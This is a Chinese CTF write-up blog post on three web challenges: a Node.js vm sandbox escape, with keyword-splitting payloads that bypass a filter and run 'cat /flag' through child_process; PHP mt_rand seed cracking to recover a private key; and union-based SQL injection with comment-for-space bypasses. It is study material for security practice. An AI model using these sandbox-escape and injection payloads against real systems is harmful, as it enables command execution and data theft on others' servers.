开始计划先刷2020年以后的题目
刷题目录
[HFCTF2020]JustEscape
run.php?code=
第一反应是命令执行
但是一直报错命令没有定义
访问run.php
<?php
if( array_key_exists( "code", $_GET ) && $_GET[ 'code' ] != NULL ) {
$code = $_GET['code'];
echo eval(code);
} else {
highlight_file(__FILE__);
}
?>
eval 没错
但是学习以后才知道是
nodejs的命令执行&VM沙箱逃逸
https://xz.aliyun.com/t/7184#toc-10
https://www.cnblogs.com/ophxc/p/13663121.html

先试报错,收集信息
/run.php?code=Error().stack
什么是Error().stack
https://www.bookstack.cn/read/node-in-debugging/3.3ErrorStack.md

其实当时看到这里可以判断是js的express框架
http://cn-sec.com/archives/155979.html
X-Powered-By: Express
被etag干扰了一下

有强WAF,过滤了
['for', 'while', 'process', 'exec', 'eval', 'constructor', 'prototype', 'Function', '+', '"',''']
导致poc无法成功
poc:
解法一
官方write up给出的是在关键字字母上加上 `
利用join拼接
payload:
(()=>{ TypeError[[`p`,`r`,`o`,`t`,`o`,`t`,`y`,`p`,`e`][`join`](``)][`a`] = f=>f[[`c`,`o`,`n`,`s`,`t`,`r`,`u`,`c`,`t`,`o`,`r`][`join`](``)]([`r`,`e`,`t`,`u`,`r`,`n`,` `,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))(); try{ Object[`preventExtensions`](Buffer[`from`](``))[`a`] = 1; }catch(e){ return e[`a`](()=>{})[`mainModule`][[`r`,`e`,`q`,`u`,`i`,`r`,`e`][`join`](``)]([`c`,`h`,`i`,`l`,`d`,`_`,`p`,`r`,`o`,`c`,`e`,`s`,`s`][`join`](``))[[`e`,`x`,`e`,`c`,`S`,`y`,`n`,`c`][`join`](``)](`cat /flag`)[`toString`](); } })()
解法二
将关键字(比如prototyp)改为:${${prototyp}e}
payload:
(function (){
TypeError[`${`${`prototyp`}e`}`][`${`${`get_proces`}s`}`] = f=>f[`${`${`constructo`}r`}`](`${`${`return this.proces`}s`}`)();
try{
Object.preventExtensions(Buffer.from(``)).a = 1;
}catch(e){
return e[`${`${`get_proces`}s`}`](()=>{}).mainModule[`${`${`requir`}e`}`](`${`${`child_proces`}s`}`)[`${`${`exe`}cSync`}`](`cat /flag`).toString();
}
})()
[MRCTF2020]Ezaudit
<?php
header('Content-type:text/html; charset=utf-8');
error_reporting(0);
if(isset($_POST['login'])){
$username = $_POST['username'];
$password = $_POST['password'];
$Private_key = $_POST['Private_key'];
if (($username == '') || ($password == '') ||($Private_key == '')) {
// 若为空,视为未填写,提示错误,并3秒后返回登录界面
header('refresh:2; url=login.html');
echo "用户名、密码、密钥不能为空啦,crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else if($Private_key != '*************' )
{
header('refresh:2; url=login.html');
echo "假密钥,咋会让你登录?crispr会让你在2秒后跳转到登录界面的!";
exit;
}
else{
if($Private_key === '************'){
$getuser = "SELECT flag FROM user WHERE username= 'crispr' AND password = '$password'".';';
$link=mysql_connect("localhost","root","root");
mysql_select_db("test",$link);
$result = mysql_query($getuser);
while($row=mysql_fetch_assoc($result)){
echo "<tr><td>".$row["username"]."</td><td>".$row["flag"]."</td><td>";
}
}
}
}
// genarate public_key
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//genarate private_key
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
$Public_key = public_key();
//$Public_key = KVQP0LdJKRaV3n9D how to get crispr's private_key???
//$Public_key = KVQP0LdJKRaV3n9D
审计代码猜测是
PHP伪随机数
工具:php_mt_seed
在linux中直接命令make就可以生成可执行文件。
./php_mt_seed
思路和
[GWCTF 2019]枯燥的抽奖
一样
两个重要函数
mt_scrand()
mt_rand()
mt_scrand(seed)这个函数的意思,是通过分发seed种子,然后种子有了后,靠mt_rand()生成随机数。
我们来写段代码
<?php
mt_srand(12345);
echo mt_rand()."<br/>";
?>
输出
162946439
<?php
mt_srand(12345);
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
echo mt_rand()."<br/>";
?>
输出
162946439
247161732
1463094264
1878061366
394962642
这就是伪随机数的漏洞,存在可预测性。
生成伪随机数是线性的,你可以理解为y=ax,x就是种子,知道种子和一组伪随机数不是就可以推y(伪随机数了吗),当然实际上更复杂肯定。
我知道种子后,可以确定你输出伪随机数的序列。
知道你的随机数序列,可以确定你的种子。
爆破seed脚本:
str1='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'
str2='KVQP0LdJKRaV3n9D'
str3 = str1[::-1]
length = len(str2)
res=''
for i in range(len(str2)):
for j in range(len(str1)):
if str2[i] == str1[j]:
res+=str(j)+' '+str(j)+' '+'0'+' '+str(len(str1)-1)+' '
break
print(res)
算出种子
1775196155

算出私钥
XuNhoueCDCGc
<?php
mt_srand(1775196155);
//公钥
function public_key($length = 16) {
$strings1 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$public_key = '';
for ( $i = 0; $i < $length; $i++ )
$public_key .= substr($strings1, mt_rand(0, strlen($strings1) - 1), 1);
return $public_key;
}
//私钥
function private_key($length = 12) {
$strings2 = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789';
$private_key = '';
for ( $i = 0; $i < $length; $i++ )
$private_key .= substr($strings2, mt_rand(0, strlen($strings2) - 1), 1);
return $private_key;
}
echo public_key();
echo private_key();
?>
访问login.html
万能密码1' or '1'='1登录

[b01lers2020]Life on Mars
扫描抓包没有结果
有一个页面有链接,思考抓包,无果
居然没有把思想迁移到目录链接
search成功会返回1
以为是布尔注入
过滤了空格
尝试sql注入


2个字段
查库
information_schema,alien_code,aliens


下次记得把所有库查出来,thx
查表
/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='alien_code'
"code"
搜字段
/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='code'
"id,code"
查code内容
/query?search=amazonis_planitia/**/union/**/select/**/1,group_concat(code)/**/from/**/alien_code.code

本文概述了解决2020年后的网络安全挑战,如HFCTF2020的JustEscape利用VM沙箱逃逸,MRCTF2020的Ezaudit PHP伪随机数漏洞利用,以及通过学习节点js命令执行和PHP代码审计。作者分享了关键技术和解法,如eval绕过和种子爆破技巧。

1704

被折叠的 条评论
为什么被折叠?



